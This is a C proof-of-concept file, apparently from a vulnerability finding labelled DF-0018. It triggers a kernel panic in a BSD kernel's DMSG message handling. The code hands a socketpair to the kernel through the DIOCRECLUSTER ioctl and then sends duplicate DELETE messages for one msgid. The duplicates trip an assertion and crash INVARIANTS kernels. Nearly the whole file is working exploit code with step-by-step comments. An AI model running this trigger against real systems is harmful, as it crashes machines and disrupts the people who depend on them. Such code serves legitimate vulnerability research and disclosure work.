DF-0018 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-0018 trigger - duplicate DELETE for the same DMSG msgid trips the * KKASSERT at kern_dmsg.c:1076 and panics the kernel. * * Threat model (per finding): a DMSG peer (cluster link). On this guest * the realistic, in-kernel reachable DMSG endpoint is the per-disk iocom * that the kernel brings up when DIOCRECLUSTER is issued on a disk device * node. DIOCRECLUSTER requires privileges on the disk node (operator/root), * matching the finding's stated precondition "a reachable DMSG link". * * This trigger: * 1. Creates a socketpair (one end is handed to the kernel as the DMSG * link fd; the other end is the attacker's peer endpoint). * 2. Opens a disk device node and issues DIOCRECLUSTER, which calls * kdmsg_iocom_reconnect() -> spawns the kdmsg reader/writer threads * on our fd. * 3. Writes a CREATE for msgid=42, then two back-to-back DELETEs for * msgid=42. The reader processes them sequentially; the writer has * not yet transmitted the REPLY+DELETE for the first DELETE, so the * state remains in staterd_tree. The second DELETE reaches * kern_dmsg.c:1076 and trips KKASSERT. * * Must be run as root (operator/wheel), matching the cluster-peer threat * model. Panics an INVARIANTS kernel (the default X86_64_GENERIC ships * options INVARIANTS); on a non-INVARIANTS kernel the KKASSERT is a no-op * (see systm.h:94-122) and the duplicate DELETE is absorbed benignly. * * Build: cc -o trigger trigger.c * Run: ./trigger [/dev/serno/QM00003] */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/dmsg.h> #include <sys/diskslice.h> /* DIOCRECLUSTER, struct disk_ioc_recluster */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #define DMSG_MAGIC0 0x4832 static void mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid) { struct dmsg_hdr *h = buf; memset(buf, 0, 64); h->magic = DMSG_MAGIC0; h->cmd = cmd; h->msgid = msgid; h->hdr_crc = 0; /* not verified on receive (kern_dmsg.c:339-347) */ } static uint32_t lnk_pad(void) { /* Mirror DMSG_LNK_PAD = DMSG_PROTO_LNK | (0<<8) | DMSG_HDR_ENCODE(dmsg_hdr). * sizeof(dmsg_hdr) == 64, DMSG_ALIGN == 64 -> DMSG_HDR_ENCODE == 1. * So DMSG_LNK_PAD == 0x00000001. */ return (0x00000001U); } int main(int argc, char **argv) { const char *diskdev = (argc > 1) ? argv[1] : "/dev/serno/QM00003"; int sdfd, svp[2], rc; struct disk_ioc_recluster recl; char buf[64]; /* 1. attacker's peer endpoint + kernel's link endpoint */ if (socketpair(AF_UNIX, SOCK_STREAM, 0, svp) < 0) err(1, "socketpair"); /* 2. open the disk device node (operator/root) and hand the kernel * one end of the socketpair as the DMSG link fd */ sdfd = open(diskdev, O_RDWR); if (sdfd < 0) err(1, "open %s", diskdev); recl.fd = svp[0]; rc = ioctl(sdfd, DIOCRECLUSTER, &recl); if (rc < 0) err(1, "ioctl DIOCRECLUSTER"); fprintf(stderr, "[*] DIOCRECLUSTER on %s OK; kernel reader thread now polling\n", diskdev); /* 3. CREATE msgid=42 (no REPLY bit -> command side, state goes into * staterd_tree) */ mk_dmsg(buf, lnk_pad() | DMSGF_CREATE, 42ULL); if (write(svp[1], buf, 64) != 64) err(1, "write CREATE"); /* 4. Two back-to-back DELETEs for msgid=42. The reader processes * them in sequence; the writer has not yet sent the REPLY+DELETE * for the first DELETE, so the second DELETE finds the same state * still in staterd_tree and trips KKASSERT at kern_dmsg.c:1076. */ mk_dmsg(buf, lnk_pad() | DMSGF_DELETE, 42ULL); if (write(svp[1], buf, 64) != 64) err(1, "write DELETE 1"); if (write(svp[1], buf, 64) != 64) err(1, "write DELETE 2"); fprintf(stderr, "[*] sent CREATE + 2x DELETE for msgid=42; expect panic\n"); /* give the kernel reader thread time to drain the socket */ sleep(3); fprintf(stderr, "[!] no panic observed (kernel may be non-INVARIANTS or already fixed)\n"); return 0; } |